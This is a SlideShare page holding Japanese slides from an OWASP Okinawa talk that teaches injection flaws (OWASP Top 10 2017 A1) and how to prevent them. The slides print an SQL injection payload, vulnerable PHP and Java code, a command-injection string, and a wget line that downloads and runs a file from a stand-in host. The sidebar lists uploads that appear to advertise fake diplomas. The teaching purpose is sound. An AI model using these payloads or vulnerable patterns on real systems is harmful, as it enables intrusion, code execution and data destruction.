Home
Explore
Submit Search
Upload
Login
Signup
owasp_evening_okinawa_7_owasp_top_10-2017_injection
Report
tobaru_yuta
Follow
Apr. 6, 2018
•
0 likes
•
814 views
1
of
91
owasp_evening_okinawa_7_owasp_top_10-2017_injection
Apr. 6, 2018
•
0 likes
•
814 views
Download Now
Download to read offline
Report
Internet
OWASP Evening Okinawa #7 登壇資料。 OWASP Top 10 - 2017 について学ぼう!(A1:2017-インジェクション)
tobaru_yuta
Follow
Recommended
Vue.js で XSS
tobaru_yuta
7.1K views
•
55 slides
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
23.9K views
•
79 slides
[デブサミ2012]趣味と実益の脆弱性発見
Yosuke HASEGAWA
6.7K views
•
69 slides
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
30K views
•
61 slides
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
7.2K views
•
41 slides
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
55.3K views
•
46 slides
More Related Content
Slideshows for you
他人事ではないWebセキュリティ
Yosuke HASEGAWA
24.4K views
•
67 slides
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
36.8K views
•
75 slides
次世代プラットフォームのセキュリティモデル考察(前編)
Yosuke HASEGAWA
9.4K views
•
40 slides
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
Isao Takaesu
3.1K views
•
29 slides
Phpcon2015
Hiroshi Tokumaru
42.2K views
•
84 slides
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
33.9K views
•
57 slides
Slideshows for you
(20)
他人事ではないWebセキュリティ
Yosuke HASEGAWA
•
24.4K views
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
•
36.8K views
次世代プラットフォームのセキュリティモデル考察(前編)
Yosuke HASEGAWA
•
9.4K views
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
Isao Takaesu
•
3.1K views
Phpcon2015
Hiroshi Tokumaru
•
42.2K views
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
•
33.9K views
Webシステム脆弱性LT資料
Tomohito Adachi
•
1.1K views
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
•
14.6K views
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru
•
33K views
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
Hiroshi Tokumaru
•
10.3K views
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru
•
9.2K views
Spring bootでweb セキュリティ(ログイン認証)編
なべ
•
32.6K views
安全なPHPアプリケーションの作り方2013
Hiroshi Tokumaru
•
248.2K views
RECOMMENDER for Web security engineers - 中級編 -
Isao Takaesu
•
672 views
とある診断員とSQLインジェクション
zaki4649
•
78.4K views
HTML5のセキュリティ もうちょい詳しく- HTML5セキュリティその3 : JavaScript API
Yosuke HASEGAWA
•
12.9K views
AR-Frame x AR.js入門
Takashi Yoshinaga
•
2K views
脆弱性診断データの活用例 - Webアプリケーション診断編 -
Isao Takaesu
•
4.4K views
introduce "Stealing Machine Learning Models via Prediction APIs"
Isao Takaesu
•
2.2K views
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru
•
74K views
Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection
OWASP_Top_10_2017_A3機微な情報の露出
oshiro_seiya
388 views
•
36 slides
【LTセッション】Brainwave 使ってみた_DEEP LEARNING LAB
Deep Learning Lab(ディープラーニング・ラボ)
319 views
•
26 slides
OWASP Top 10 超初級編
AkitadaOmagari
344 views
•
43 slides
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
Riotaro OKADA
1.7K views
•
43 slides
Data Scientists Love SQL Server
Tomoyuki Oota
863 views
•
74 slides
OAuth Security Workshop 2017 #osw17
Tatsuo Kudo
2.1K views
•
19 slides
Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection
(20)
OWASP_Top_10_2017_A3機微な情報の露出
oshiro_seiya
•
388 views
【LTセッション】Brainwave 使ってみた_DEEP LEARNING LAB
Deep Learning Lab(ディープラーニング・ラボ)
•
319 views
OWASP Top 10 超初級編
AkitadaOmagari
•
344 views
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
Riotaro OKADA
•
1.7K views
Data Scientists Love SQL Server
Tomoyuki Oota
•
863 views
OAuth Security Workshop 2017 #osw17
Tatsuo Kudo
•
2.1K views
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
Typhon 666
•
1.6K views
We regret to inform you
Akira Kanaoka
•
1.2K views
20160208 power cms_cloud_public
Six Apart
•
908 views
超高速開発を実現するチームに必要なセキュリティとは
Riotaro OKADA
•
265 views
OWASP Cheatsheetを参考にやられアプリ作ってみた
mkoda
•
1.3K views
2017年のセキュリティ 傾向と対策講座
NHN テコラス株式会社
•
2K views
20160209 power cms_cloud_public
Six Apart
•
1.3K views
ZabbixによるOpenStack/OpenContrailの監視
Kodai Terashima
•
5.1K views
【14-E-3】セキュリティ・テストの自動化によるDevSecOpsの実現 (デモ有)
Developers Summit
•
977 views
Aws×phpでの 高信頼かつハイパフォーマンスなシステム
KoteiIto
•
3.6K views
第9回勉強会 Webセキュリティー
hakoika-itwg
•
1K views
Kobe sec#7 summary
Yukio NAGAO
•
735 views
今日こそわかる、安全なWebアプリの作り方2010
Hiroshi Tokumaru
•
9.1K views
JavaScript使いのためのTypeScript実践入門
Shumpei Shiraishi
•
5.5K views
Recently uploaded
#专业或教育领域Brandon毕业证成绩单
MaggieSU14
2 views
•
1 slide
#专业或教育领域DePaul毕业证成绩单
MaggieSU14
2 views
•
1 slide
#关于丹佛大学毕业证办理流程
kaxib93463
2 views
•
1 slide
#毕业日期,电子版uOttawa毕业证成绩单
ColumbiaDiplomaColum
2 views
•
1 slide
#专业或教育领域Nipissing毕业证成绩单
MaggieSU14
2 views
•
1 slide
#毕业日期,电子版Sheridan毕业证成绩单
ColumbiaDiplomaColum
2 views
•
1 slide
Recently uploaded
(20)
#专业或教育领域Brandon毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域DePaul毕业证成绩单
MaggieSU14
•
2 views
#关于丹佛大学毕业证办理流程
kaxib93463
•
2 views
#毕业日期,电子版uOttawa毕业证成绩单
ColumbiaDiplomaColum
•
2 views
#专业或教育领域Nipissing毕业证成绩单
MaggieSU14
•
2 views
#毕业日期,电子版Sheridan毕业证成绩单
ColumbiaDiplomaColum
•
2 views
#《仿原版开版AC文凭/毕业证书»
sapape4493
•
2 views
#专业或教育领域UoB毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域Suffolk毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域Strath毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域McGill毕业证成绩单
MaggieSU14
•
2 views
#毕业日期,电子版Imperial毕业证成绩单
ColumbiaDiplomaColum
•
3 views
#专业或教育领域霍华德毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域Griffith毕业证成绩单
MaggieSU14
•
2 views
#毕业日期,电子版UH毕业证成绩单
ColumbiaDiplomaColum
•
2 views
#专业或教育领域Ohio毕业证成绩单
MaggieSU14
•
2 views
#毕业日期,电子版QUT毕业证成绩单
ColumbiaDiplomaColum
•
2 views
#专业或教育领域Curtin毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域MIT斯隆管理学院毕业证成绩单
MaggieSU14
•
2 views
#专业或教育领域Macquarie毕业证成绩单
MaggieSU14
•
2 views
owasp_evening_okinawa_7_owasp_top_10-2017_injection
OWASP Top 10
を学ぼう! (A1:2017-インジェクション) OWASP Evening OKINAWA #7 桃原 裕太
自己紹介 桃原 裕太 株式会社シーエー・アドバンス 技術統括本部 Webアプリケーション脆弱性診断に携わって約5年 月一でセキュリティもくもく勉強会を開催 2
目次 はじめに OWASP について OWASP Top
10 について 2013年版から2017年版への変更点 アプリケーションセキュリティリスク A1:2017 - インジェクション おわりに 3
はじめに 4
はじめに ※注意※ ここで得た知識を悪用しな いようにしてください 5
はじめに スライドが90枚 くらいあります! 一枚一枚はそんなに 長くないはず 6
はじめに 2017年12月に OWASP Top 10 の日本語版が公開 されましたね! 7
はじめに 少しずつですが、 沖縄でも学んでい きたいと思います。 (全10回) 8
はじめに 2018/03 A1:2017-インジェクション 2018/06 A2:2017-認証の不備 2018/09
A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 9
はじめに 2018/03 A1:2017-インジェクション (今回はコチラ!) 2018/06
A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 10
はじめに 次回以降は登壇者をローテーションしたいので、 我こそは!という方は、個別にでもいいのでご連 絡いただけるとありがたいです。 11
OWASP について 12
OWASP について OWASP
とは、Open Web Application Security Project の略称です。 Webをはじめとするセキュリティ環境の現状、ま たセキュアなソフトウェア開発を促進する技術・ プロセスに関する情報共有と普及啓発を目的とし たプロフェッショナルの集まる、オープンソー ス・ソフトウェアコミュニティです。 OWASP Okinawaは日本で6番目に発足したローカ ルチャプターです。 13
OWASP について OWASP
は様々なプロジェクトがあり、 その成果物があります。 OWASP Top 10 - 2017 OWASP Mobile Top 10 - 2016 OWASP Proactive Controls OWASP Application Security Verification Standard OWASP Wordpress Security Implementation Guideline 14
OWASP Top 10 -
2017 に ついて 15
OWASP Top 10
- 2017 につい て アプリケーションセキュリティのデファクト・ス タンダード 前回作成したものが OWASP Top 10 - 2013 アプリケーションセキュリティを始める人や 組織が良いスタートをきれるように作成していま す 16
OWASP Top 10
- 2017 につい て 大規模な組織や、セキュリティの取り組みにおい て高いレベルの組織において、厳密な標準が求め られているような場合には OWASP Application Security Verification Standard (ASVS) を使う ように勧めているようです 17
OWASP Top 10
- 2017 につい て OWASP Top10の主要な目的は、開発者、デザイ ナー、アーキテクト、マネージャ、組織に、最も 一般的かつ最も重要なWebアプリケーションセ キュリティの弱点の影響について教育することで す。 リスクの高い問題のある領域を守るための基本的 なテクニックを提供し、現時点からどこへ進める べきなかについてのガイダンスを提供します。 18
2013年版から 2017年版への 変更点 19
2013年版から2017年版への変更点 ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 マイクロサービス RESTful Web シングルページアプリケーション 従来サーバー側で処理されてきた機能が クライアント側に移る 20
2013年版から2017年版への変更点 ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 node.js 等、JavaScript
が Web の主要言語に モダンな Web フレームワークの登場 Bootstrap, Electron, Angular, React 21
2013年版から2017年版への変更点 (追加された項目) 22
2013年版から2017年版への変更点 (統合された項目) 23
2013年版から2017年版への変更点 (削除された項目) 24
2013年版から2017年版への変更点 (削除された項目) ※補足 クロスサイトリクエストフォージェリ(CSRF)
多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている 未検証のリダイレクトと転送 アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた 25
2013年版から2017年版への変更点 (削除された項目) ※補足 クロスサイトリクエストフォージェリ(CSRF)
多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている 未検証のリダイレクトと転送 アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた ※一定数存在するので、無視していいわ けではないです 26
アプリケーション セキュリティリスク について 27
アプリケーション セキュリティリスクについて 攻撃者はアプリケーションを介して様々な経路 で、ビジネスや組織に被害を及ぼします。 28
それぞれの経路は、注意を喚起すべき深刻なリ スクやそれほど深刻ではないリスクを表してい ます。 29 アプリケーション セキュリティリスクについて
これらの経路の中には、検出や悪用がしやすいものもあ れば、しにくいものもあります。 同様に、引き起こされる被害についても、
ビジネスに 影響がないこともあれば、破産にまで追い込まれること もあります。 30 アプリケーション セキュリティリスクについて
アプリケーションセキュリティリスクについて 組織におけるリスクを判断するためにまず、以下の項目 に関してそれぞれの可能性を評価します。 「脅威エージェント」 「攻撃手法」 「セキュリティ上の弱点」 31 アプリケーション セキュリティリスクについて
アプリケーションセキュリティリスクについて その次に、組織に対する影響を考慮してみてください。 「技術面への影響」 「ビジネス面への影響」 32 アプリケーション セキュリティリスクについて
アプリケーションセキュリティリスクについて 最後に、これら全てのファクターに基づき、リスクの全 体像を決定します。 33 アプリケーション セキュリティリスクについて
次からインジェクションのお話 なのですが 34 ここまでで 何か質問等ありますか?
A1:2017 -インジェ クション 35
A1:2017-インジェクション ここから本題です! 36
A1:2017-インジェクション その前に、 インジェクション 知ってる方ってどのくらい いますか…? 37
A1:2017-インジェクション インジェクションについてざっくり解説 コマンドやクエリの一部として信頼されない データが送信される場合に発生 攻撃コードがインタープリタを騙すことで、 様々な問題が… 意図しないコマンドの実行 機密情報の漏えい 権限を有していないデータへのアクセス、等 38
A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 39
A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 40
A1:2017-インジェクション ~インジェクションとなっ ている脆弱性が今回のテー マです 41
A1:2017-インジェクション なにが問題なの? 42
A1:2017-インジェクション 機密情報が漏洩した場合… 43
A1:2017-インジェクション 損害賠償に発展する事例も [参考]https://blog.tokumaru.org/2015/01/sql.html 44
A1:2017-インジェクション 次はインジェクションの リスクについて確認してい きましょう 45
A1:2017-インジェクション リスクについて 46
A1:2017-インジェクション インジェクションのリスクについて 47
A1:2017-インジェクション インジェクションのリスクについて 48 それぞれの項目について 確認していきます
A1:2017-インジェクション インジェクションのリスクについて 49
A1:2017-インジェクション 悪用のしやすさ(3段階評価) 容易:3 ほとんどのデータソースがインジェクションの 経路となりえます。 環境変数 パラメータ 外部及び内部のWebサービス あらゆる種類のユーザ 攻撃者が送った悪意のあるデータがインタープ リタ上で動作する場合にインジェクションは発 生します。 50
A1:2017-インジェクション インジェクションのリスクについて 51
A1:2017-インジェクション 弱点の蔓延度(3段階評価) よく見られる:2 特にレガシーコードで一般的です インジェクション脆弱性は、下記でよく見 られます。 SQL LDAP Xpath NoSQLクエリ OSコマンド XMLパーサー SMTPヘッダー 式言語 ORMクエリ 52
A1:2017-インジェクション インジェクションのリスクについて 53
A1:2017-インジェクション 検出のしやすさ(3段階評価) 容易:3 インジェクション欠陥は、コードを調べる と簡単に発見できます。 インジェクション欠陥を見つけるのに役立 つ手法があります スキャナ(ソースコードの静的チェック) ファジング(動的解析) 54
A1:2017-インジェクション インジェクションのリスクについて 55
A1:2017-インジェクション 技術面(3段階評価) 深刻:3 様々な問題が起きます データの損失 破壊 情報漏洩 アカウンタビリティの喪失 アクセス拒否 ホストの完全な乗っ取り 56
A1:2017-インジェクション インジェクションのリスクについて 57
A1:2017-インジェクション 脅威エージェントとビジネス面の影響 リスクを理解するためには「脅威エージェ ント」と「ビジネス面への影響」を考慮 しないといけません。 ソフトウェア に甚大な弱点があったとし ても、攻撃をする「脅威エージェント」 がいない、或いは関連資産への「ビジネ ス面への影響」 が極めて少ない場合、重 大なリスクにはなりません。 58
A1:2017-インジェクション ビジネスへの影響は、アプリケーションと データの重要性に依存します。例えば、 個人情報の漏えい 重要性が高い クライアント情報の漏えい 重要性が高い ECサイトで販売している商品情報の漏えい (公開されている情報) 重要性が低い 59
A1:2017-インジェクション 次はインジェクションの 見つけ方について 確認していきましょう 60
A1:2017-インジェクション 脆弱性発見のポイント(1/5) ユーザが提供したデータをそのまま信頼してい る場合はインジェクションが発生しやすいです 検証していない フィルタリングしていない サニタイズされない コンテキストに応じたエスケープが行われず、 動的クエリまたはパラメータ化されていない呼 出しがインタープリタに直接使用される SQLに使われるデータがエスケープされてない等 61
A1:2017-インジェクション 脆弱性発見のポイント(2/5) 次のような状況では、アプリケーションはこの 攻撃に対して脆弱です オブジェクト・リレーショナル・マッピング (ORM)の検索パラメータに悪意を持ったデー タが使用され、重要なレコードを追加で抽出して しまう。 悪意を持ったデータを直接または連結して使う。 例えば、動的クエリ、コマンド、ストアド・プロ シージャにおいて構文に悪意を持ったデータを組 み合わせる形でSQLやコマンドが組み立てられる。 62
A1:2017-インジェクション 脆弱性発見のポイント(3/5) 一般的なインジェクションとしては、下記がありま す。 SQL NoSQL OSコマンド オブジェクト・リレーショナル・マッピング(ORM) LDAP EL式(Expression Language) OGNL式(Object
GraphNavigation Library) コンセプトはすべてのインタープリタで同じです。 63
A1:2017-インジェクション 脆弱性発見のポイント(4/5) ソースコードをレビューすることが最も効果的に検 出できます すべての入力値の完全な自動テストも効果的です パラメータ ヘッダー URL Cookie JSON SOAP XML 64
A1:2017-インジェクション 脆弱性発見のポイント(5/5) 下記のようなツールをCI/CDパイプライン(ビ ルド~テスト~リリースの自動化ツール)に導 入します 静的ソースコード解析ツール (SAST) Java/PHP/Ruby 等、言語毎にツールが存在 動的アプリケーションテストツール
(DAST) 実際にHTTPリクエストを送信してテスト 自動化することで新たに作られてしまったイン ジェクション欠陥をリリース前に検出できます 65
A1:2017-インジェクション 次はインジェクションの 攻撃例について 確認していきましょう 66
A1:2017-インジェクション 攻撃シナリオの例(#1) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なSQL呼 び出しを作ってしまいます Javaの例をあげます 67
A1:2017-インジェクション 攻撃シナリオの例(#1) http://example.com/app/accountView?id=1 String query
= "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 68
A1:2017-インジェクション 攻撃シナリオの例(#1) http://example.com/app/accountView?id=' or
'1'='1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 69
A1:2017-インジェクション 攻撃シナリオの例(#2) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なSQL呼 び出しを作ってしまいます JavaのORMツール(Hybernate)の例をあ げます 70
A1:2017-インジェクション 攻撃シナリオの例(#2) http://example.com/app/accountView?id=1 Query HQLQuery
= session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 71
A1:2017-インジェクション 攻撃シナリオの例(#2) http://example.com/app/accountView?id=' or
'1'='1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 72
A1:2017-インジェクション 攻撃シナリオの例(#3) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なOSコ マンドの呼び出しを作ってしまいます PHPの例をあげます 73
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 74
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 75
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 76
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10; 77
A1:2017-インジェクション 攻撃シナリオの例(#3) なぜsleepコマンド? yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる yyyymm=201701;sleep
10; の場合 ※レスポンスが返ってくるまでに11秒かかる 78
A1:2017-インジェクション 攻撃シナリオの例(#3) 不正なファイルのDLと実行 ;wget http://example.com/evil.txt
-O evil.php;php evil.php; ツールの取得(yum, apt-get) ファイル削除 (rm) OSシャットダウン(shutdown) その他いろいろ 79
A1:2017-インジェクション 次はインジェクションの 防止方法について 確認していきましょう 80
A1:2017-インジェクション 防止方法 コマンドとクエリからデータを常に分ける ようにします インタープリタの使用を完全に避けるよう にします パラメータ化されたインターフェースを利 用するようにします ORMを使用するように移行するようにしま す 81
A1:2017-インジェクション 防止方法 注意)パラメータ化されていたとしても、 ストアドプロシージャでは、 SQLインジェ クションを発生する可能性があります 例)PL/SQLまたはT-SQLによってクエリと データを連結 例)EXECUTE IMMEDIATEやexec()を利用 して悪意のあるデータを実行する 例にあるような書き方は避けるようにしま しょう 82
A1:2017-インジェクション 防止方法 「ホワイトリスト」によるサーバサイドの 入力検証を用いるようにします フォームのラジオボタンやセレクトボックス はホワイトリストでの入力値チェックがしや すいと思います フォームのテキストエリア等はホワイトリ ストでのチェックは難しそう… 83
A1:2017-インジェクション 防止方法 これまでの対応が困難な動的クエリでは、 そのインタープリタ固有のエスケープ構文 を使用して特殊文字をエスケープするよう にします 注意点)テーブル名やカラム名などのSQLス トラクチャに対してはエスケープができない ため、ユーザ指定のストラクチャ名は危険で す。 レポート作成ソフトウェア等で見かけられる 問題のようです。 84
A1:2017-インジェクション 防止方法 実行するSQLのクエリ内で LIMIT 句やそ の他のSQL制御を常に使用するようにし ます 緩和策だと思いますが
SQL インジェク ション攻撃が発生した場合のレコードの 大量漏洩を防ぐことができるかもしれま せん 85
A1:2017-インジェクション 攻撃シナリオの例(#1) ※対策版 http://example.com/app/accountView?id='
or '1'='1 PreparedStatement prep = conn.prepareStatement( "SELECT * FROM accounts WHERE custID=?" ); prep.setString(1, request.getParameter("id")); // SELECT * FROM accounts // WHERE custID=''' or ''1''=''1' /* custIDが「' or '1'='1」のアカウントデータを取得 */ 86
おわりに まとめ インジェクションについて OWASP
Top 10 - 2017 をベースにお話しました 例えばOSコマンドインジェクションが発生した 場合はビジネスに致命的な影響を及ぼす可能性 があります 不正なファイルの実行、データ漏えい、サーバー ダウン等 今回学んだ、脆弱性発見のポイント、攻撃例、防止 方法をもとにインジェクションのない安全なWebア プリケーションを開発できるように頑張ってくださ い 87
おわりに 参考サイト、参考資料 https://www.owasp.org/images/2/23/OWASP_Top_10- 2017%28ja%29.pdf
https://www.owasp.org/images/7/72/OWASP_Top_10- 2017_%28en%29.pdf.pdf https://blog.tokumaru.org/2015/01/sql.html https://www.ipa.go.jp/files/000017320.pdf 88
おわりに 89 何か質問等ありますか?
おわりに 次回、登壇したい方がいれば 個別でもいいですので教えてください…! ※30分くらいで考えています 90
ご清聴 ありがとうございました! 91